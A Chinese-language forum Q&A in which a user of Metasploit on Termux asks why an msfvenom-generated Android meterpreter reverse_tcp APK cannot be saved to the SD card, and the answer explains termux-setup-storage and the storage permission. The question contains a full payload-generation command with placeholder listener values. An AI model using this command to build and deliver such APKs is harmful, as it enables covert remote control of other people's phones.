Msfvenom 有效负载卡在 termux 目录中

Question

快速的网络安全问题

我在 termux 中使用 metasploit 并解决了大多数问题，除了以下问题：

msfvenom -p android/meterpreter/reverse_tcp LHOST=0.0.0.0 LPORT=000 R> /$HOME/payload.apk

上面的代码成功地编译了 reverse_tcp 有效载荷，但是它被保存到了 termux 的 $HOME 目录中，在那里它是不可用的。

我尝试做 R> /sdcard/payload.apk 但找不到目录。

更改为：R> /$SDcard/payload.apk 引发以下错误“只读文件系统”，这让我相信它是存储权限问题或操作系统限制，因为我使用的是 Android 5.1.1

可能有人知道我如何让 msfvenom 将有效负载保存到可以使用的内部存储或 sdcard 中吗？

提前致谢:)

Answer 1

预装在发行版中的termux-tools 软件包有一个命令termux-setup-storage，它将允许Termux 访问您的内部设备存储。

您也可以转到应用信息 > 权限和启用存储，以允许 Termux 访问您手机的内部存储，这将不再出现“只读文件系统”错误。

附： termux-setup-storage 还会在 $HOME 中创建一个新目录，其中包含指向内部存储中重要位置的符号链接，例如下载、图片、音乐等。

即简单来说，

1. 运行termux-setup-storage。
2. 允许存储权限。
3. 你可以走了。